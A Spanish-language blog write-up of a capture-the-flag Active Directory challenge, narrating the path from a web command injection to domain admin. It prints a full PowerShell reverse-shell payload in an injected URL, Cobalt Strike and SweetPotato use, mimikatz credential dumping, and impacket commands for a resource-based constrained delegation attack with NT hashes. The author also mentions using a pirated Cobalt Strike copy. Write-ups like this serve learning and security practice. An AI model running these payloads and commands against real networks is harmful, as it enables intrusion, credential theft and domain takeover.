No sé que explicar acá. Me llamaron un Sábado como por las 13:00hrs para participar en un challenge de Active Directory para Q4 CTF 2023. Últimamente he estado muy pegado en ese tema, así que supuse que me llamaron por la misma razón.
El contexto que me dio Mateo fue que “Hay un challenge de AD”, “Saca Domain Admin” y “Acá esta la shell”
http://10.10.10.2/status.asp?ip=10.10.10.2|powershell.exe -c "$client = New-Object System.Net.Sockets.TCPClient('10.10.200.206',1337);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
No le iba a decir que no a Mateo. Así que…
HYPED! Técnicamente Hyped 2
No tenía idea del CTF(capture the flag=captura la bandera) y, la verdad, es el primero en el que participo (ni siquiera de forma oficial).
Aproveché de crear un Cobalt Strike™ TeamServer/C2 en una VM Debian recién iniciada en mi caluroso hogar. Enruté el tráfico del puerto 443 de mi cliente de la VPN del evento al C2 recién creado, ya que tenía el cliente VPN inicializado en mi Windows de Host.
Quería utilizar esta herramienta (Cobalt Strike) que saqué de dudosa procedencia (Telegram) en un ambiente que no fuese productivo, por -ya saben- “confidencialidad y un posible backdoor ruso”.
Acceso al sistema
Creé un payload para el beacon y lo ejecuté en el sitio vulnerable a través de un parámetro en una petición HTTP. Mateo ya me había entregado la información de cómo explotar el webserver y sacar una shell, por lo que me enfoque solo en atacar el servidor Windows y el dominio de Active Directory.
Nueva víctima en el C2. Este se identifica como SRV01 y tiene la IP 10.10.10.2.
Con este beacon ya comenzamos a obtener información del entorno.
Enumeración de información de computador y dominio
Ejecuté un par de herramientas de PowerView a través de execute-assembly
de Cobalt Strike para extraer información básica del dominio. Gracias a esto, pude conocer que:
- El dominio es HYPED.CL
- Existe un Domain Admin con el UPN “[email protected]”
- El servidor SRV01 tenía la IP 10.10.10.2
- El servidor DC01 tenía la IP 192.168.1.2
- Existía un servidor FILE01 pero no le di mucha importancia
Intenté enumerar plantillas de ADCS, ya que es el ataque del momento por su impacto y la facilidad de explotarlo, pero ni siquiera existía un servidor como CA. Aquí ya supuse que la ruta para elevar privilegios debería ir por otro camino.
Quería enumerar permisos peligrosos entre grupos/computadores/usuarios, por lo que subí el ingestor SharpHound
y lo ejecuté sin ningún otro parámetro. Este ingestor, por defecto, incluye muchas “collections” de información que son útiles para reconocer posibles vectores de ataque, elevación, y otros que pueden ser ejecutados para conseguir acceso dentro del dominio.
Generalmente, soy más de usar bloodhound.py
con un SOCKS proxy y algún tipo de autenticación. Pero bueno, no tenía credenciales, solo el contexto del servidor y un beacon (y un binario en mi cajita Windows).
Después de que corra un buen rato, la herramienta me entregó un zip con toda la información que pudo obtener del dominio, lo bajé e importé en una instancia de neo4j.
Al analizar las rutas para llegar a controlar el dominio, encontré que SRV01$ tiene GenericWrite a DC01$. Esto significa que es posible hacer un ataque RBCD.
En mi intento de explicar RBCD de forma simple (durante la confección de este post):
(inicio de la explicación)
Es un ataque que aprovecha una delegación de Kerberos que se basa en “resources” (Resource-based Constrained Delegation). Esta delegación, pone al servidor que hostea un servicio como el “dueño” de la delegación y es este, el que tiene el control sobre qué servicios externos pueden delegar credenciales de usuarios hacia el servicio propio.
Técnicamente, las delegaciones se asignan en el atributo msDS-AllowedToActOnBehalfOfOtherIdentity
del objeto dueño de la delegación.
El chiste acá es que al tener permisos de escritura sobre el objeto de un computador, es posible modificar el atributo para asignar otro servicio como permitido para delegar credenciales. Por ejemplo, asignar SRV01 como permitido para delegar credenciales hacia el servidor DC01. En otras palabras, SRV01 puede “impersonar” a otros usuarios del dominio en algún servicio de DC01.
(fin de la explicación)
Supuse que en el servidor SRV01 podrían haber credenciales interesantes y que, además, en algún momento necesitaría el NT hash de SRV01$ para realizar el ataque. Por esto, decidí elevar privilegios en el mismo servidor.
Elevación a SYSTEM
Utilicé SweetPotato porque bueno… Sweet.
La verdad es que había visto en las sobras que dejaron en SRV01 que utilizaron PrintSpooler y JuicyPotato-NG. Tenía entendido que SweetPotato contiene estos dos y otros mecanismos adicionales para elevar privilegios en una instancia local.
“A collection of various native Windows privilege escalation techniques from service accounts to SYSTEM”
https://github.com/CCob/SweetPotato
El formato para utilizar esta técnica era simplemente SweetPotato.exe -p C:\Algo.exe
, por lo que subí un payload EXE de un Beacon y lo ejecuté con el parámetro apuntando al path de mi payload.
Y con esto, llegó una shell de SYSTEM de SRV01.
Con este nivel de privilegios ya es posible obtener secretos del computador, tales como credenciales locales y cositas cacheadas (Tokens, TGTs).
Obteniendo credenciales locales (y hash del computador)
En este punto ya supuse que no habían protecciones AV/EDR en el ambiente, por lo que usé la integración de mimikatz en el beacon y extraje todo directamente.
Cobalt maneja bien las credenciales en una pestaña con una tabla.
Pero lo que buscaba y realmente necesitaba era el NT hash de SRV01$. Por lo que guardé el output de la herramienta.
Explotación, un par de cagazos y a la calma…
Según lo que había leído en ese tiempo (antes de afrontar este challenge), lo necesario para un ataque RBCD es un usuario que:
- Pueda crear un computador (para hacer el ataque)
- Tenga permisos de GenericWrite sobre un objeto de computador (víctima)
Spoiler: Estaba equivocado.
En esta parte me atrapé y me confundí con conceptos tanto del ataque como de Kerberos. Como no tenía credenciales de usuario de dominio para crear un computador, empecé a sobrepensar que podía usar el NT hash de SRV01$ para hacer un PC nuevo para el ataque RBCD, por lo que decidí leer la documentación de nuevo.
Después de nutrirme de internet, descubrí que los requisitos reales son:
- Credenciales de una cuenta con SPN definido
- GenericWrite a la víctima, puede ser incluso una cuenta diferente a la del SPN
Con esto también supe que las cuentas de computador (por ejemplo: SRV01$) ya incluyen un SPN por defecto. Por lo que podía utilizar la misma credencial NT hash del computador para hacer el ataque RBCD.
Intenté ejecutar el ataque RBCD desde SRV01$ a DC01$, pero…
proxychains python3 $TOOLS/impacket/examples/rbcd.py -delegate-from 'SRV01$' -delegate-to 'DC01$' -action 'write' HYPED.CL/srv01$ -hashes :ecbf322890978eefd5441e4637c792af -dc-ip 192.168.1.2 -debug
Recibí un error. Mi mente explotó y dije “¿Qué chucha?”. Dudé de toda mi capacidad de aprendizaje y decidí no confiar en mi. Por lo que continué siguiendo el manual de este ataque paso a paso.
Según la gran guía que salía en Bloodhound, se tenía que:
1.- Crear objeto de computador, pero no tenía más credenciales, así que use el NT hash de SRV01$, ya que es una “cuenta” del dominio.
proxychains python3 $TOOLS/impacket/examples/addcomputer.py -computer-name 'DEMON$' -computer-pass 'FuckItWeBall2023!' HYPED.CL/srv01$ -hashes :ecbf322890978eefd5441e4637c792af -dc-ip 192.168.1.2 -debug
Nota aparte: Con esto descubrí que un computador SI puede agregar nuevos computadores al dominio, y que la documentación de Microsoft es media ambigua.
Me saqué la duda con RastaMouse, ya que en su curso de la CRTO (mi única cert.), en el capítulo de RBCD, se creaba un computador pero no sabía si era en el contexto del computador o de un usuario de dominio.

2.- Realizar ataque RBCD.
proxychains python3 $TOOLS/impacket/examples/rbcd.py -delegate-from 'DEMON$' -delegate-to 'DC01$' -action 'write' HYPED.CL/srv01$ -hashes :ecbf322890978eefd5441e4637c792af -dc-ip 192.168.1.2 -debug
(Notar que no usé el método LAPS --method LAPS
, por lo que se usa el que viene por defecto: SAMR)
Pero, calma, recibí el mismo error ¿De nuevo?
Acá quedé como, “cresta, realmente no sé nada” y me puse a pensar en:
- Quizás crear computadores por método SAMR es medio webeado en el dominio (las guías especifican método LDAPS, pero este estaba deshabilitado)
- El script está cayendo en un flujo que no debiese pasar
Como el primero no tenía más futuro, me puse a buscar errores de SID lookup y encontré esto. Un “Fix” que hace que el script itere correctamente todos los SID que existen en los ACE del Security Descriptor del objeto DC01. Esto lo logra agregando un try
y except
en el código, evitando que el programa se caiga.
Tiempo después del challenge y con un poquito más de conocimiento: Parece que alguien creó un ACE en el Security Descriptor del objeto “DC01$” y dejó un SID que no existe en el dominio (¿un objeto de computador eliminado?). Supuse que esto era porque era un CTF y, bueno, cosas pasan.
El mismo autor del fix explica que este error le ocurrió en una instancia en la que se intenta realizar un segundo ataque RBCD hacía una misma víctima.
Edité el archivo rbcd.py
con mi buen nano, agregando la información relevante del commit visto anteriormente.
La buena Hatsune Miku de fondo
Y ejecuté de nuevo el ataque RBCD.
proxychains python3 $TOOLS/impacket/examples/rbcd.py -delegate-from 'DEMON$' -delegate-to 'DC01$' -action 'write' HYPED.CL/srv01$ -hashes :ecbf322890978eefd5441e4637c792af -dc-ip 192.168.1.2 -debug
Woah!
En el output se puede ver que la cuenta DEMON$, el computador creado anteriormente, tiene permisos para “impersonar” usuarios hacia el servidor DC01$. Es decir, funcionó el fix, por lo que ahora toca “impersonar”.
Creando un ticket “impersonado” y cosas de Kerberos
Con la delegación ya configurada en DC01$, solo queda crear un TGS (Service Ticket) para un servicio que se quiera atacar y asignando al usuario que se desea impersonar. En este caso, ya se conocía que el usuario “[email protected]” forma parte de Domain Admins dentro del dominio. Por el lado del servicio, decidí utilizar el servicio “cifs” para acceder por el protocolo SMB y ejecutar scripts como psexec
o smbexec
.
Se obtiene el TGS utilizando getST.py
de Impacket.
proxychains python3 $TOOLS/impacket/examples/getST.py -spn 'cifs/dc01.hyped.cl' -impersonate 'cucuatro' HYPED.CL/DEMON$:'FuckItWeBall2023!' -dc-ip 192.168.1.2`
Recibí un ticket y se guardó en el archivo cucuatro.ccache, éste se puede utilizar para aplicaciones que acepten la autenticación de Kerberos, como crackmapexec y la suite de Impacket.
Me quedé pegado literalmente HORAS por no estar al tanto de conceptos de Kerberos y usar la autenticación apuntando a un servicio sin su FQDN.
Le dejé hasta un mensaje de derrota al Mateo
Hasta que al perla se le ocurrió, después de tanta lectura, utilizar psexec
especificando el FQDN del computador víctima (dc01.hyped.cl). Como no estaba conectado directamente a la red, creé una entrada en mi /etc/hosts
(estaba usando un SOCKS proxy, por si no se vio el proxychains en los comandos utilizados).
proxychains python3 $TOOLS/impacket/examples/psexec.py -k "HYPED.CL/[email protected]" -no-pass -dc-ip 192.168.1.2 -service-name hahademon -debug
Recibo respuesta correcta del SMB de DC01 y ahora el script está utilizando correctamente el ticket de servicio. Notar que tengo escritura sobre ADMIN$, según el log de la herramienta.
De vuelta con Mateo, ya que el ticket si funcionaba.
Saca la flag hueón
Ejecuté psexec
con el uso del FQDN de la víctima, forcé el uso de autenticación de Kerberos y apunté al KDC (DC).
proxychains python3 $TOOLS/impacket/examples/psexec.py -k "HYPED.CL/[email protected]" -no-pass -dc-ip 192.168.1.2 -service-name hahademon2 -debug
Con esto se obtuvo una shell con permisos de administrador en el controlador de dominio. Procedí a dejar mi huella en el servidor, obviamente.
Y salté a agarrar la flag para mi buen compañero Mateo.
Finalmente, la dejé en un Slack donde teníamos un chat por el CTF.
HYPED 3?
No tenía acceso al CTF y no tenía idea que existía un tercer reto. Llegué recién a enterarme con el post de Overload.cl sobre la existencia de TRES challenges de HYPED en el evento.
De ahí entendí que había un proof.txt
en el escritorio de la cuenta support en SRV01 (extraída por mimikatz en la captura de Credentials) y que… bueno, existía FILE01 y que realmente tenía un propósito en el dominio.
Independiente de esto, la primera “proof” ya la habían reportado los de mi equipo y la tercera solo requería crear una cuenta o la infinidad de posibilidades que te entrega el acceso administrativo a un controlador de dominio.
Conclusiones
Encuentro que, personalmente, me falta práctica y entender fundamentos. Por esto mismo fue que empecé a dedicarle un poco más de tiempo a comprender el uso de Kerberos, cómo funcionan las delegaciones y un par de weaitas más de Active Directory. Creo que terminaré escribiendo sobre delegaciones: explicación lógica-técnica y ataques desde Linux.
Notas personales y cosas que encontré en base a este challenge:
- Necesito ser más metódico. Hay que entender el fundamento de lo que se quiere hacer para poder dominar los conceptos (y a la inversa).
- Los requisitos para un RBCD son:
- GenericWrite sobre un computador con cualquier objeto al que se tenga control (usuarios, computadores, grupos delegados, etc).
- Credenciales de una cuenta (incluso de computador) con SPN definido (o no*).
- Las cuentas de computador incluyen un SPN por defecto.
- Un computador puede agregar a otros computadores del dominio (va de la mano con MachineAccountQuota).
- Al jugar con Kerberos, el FQDN es algo mandatorio. En especial con herramientas como
impacket
ycrackmapexec
.
* Existe un caso en el que se puede sacrificar una cuenta de usuario y así no requerir un SPN, pero es muy disruptivo: https://www.tiraniddo.dev/2022/05/exploiting-rbcd-using-normal-user.html